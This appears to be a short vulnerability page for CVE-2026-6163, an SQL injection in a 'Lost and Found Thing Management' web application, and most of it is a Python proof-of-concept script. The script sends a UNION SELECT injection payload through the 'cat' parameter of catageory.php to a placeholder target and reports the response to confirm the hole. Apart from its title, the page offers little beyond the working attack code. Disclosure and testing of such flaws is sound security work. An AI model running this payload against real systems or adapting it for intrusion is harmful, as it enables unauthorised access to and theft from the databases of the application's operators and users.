CVE-2026-6163: Lost and Found Thing Management SQL注入漏洞

import requests def poc_sqli(target_url): """ Proof of Concept for CVE-2026-6163 SQL Injection Target: /catageory.php?cat=... """ # The vulnerable parameter is 'cat' injection_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9-- -" full_url = f"{target_url}/catageory.php" try: response = requests.get(full_url, params={'cat': injection_payload}, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the response reflects database data or errors to confirm vulnerability.") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://example.com" poc_sqli(target)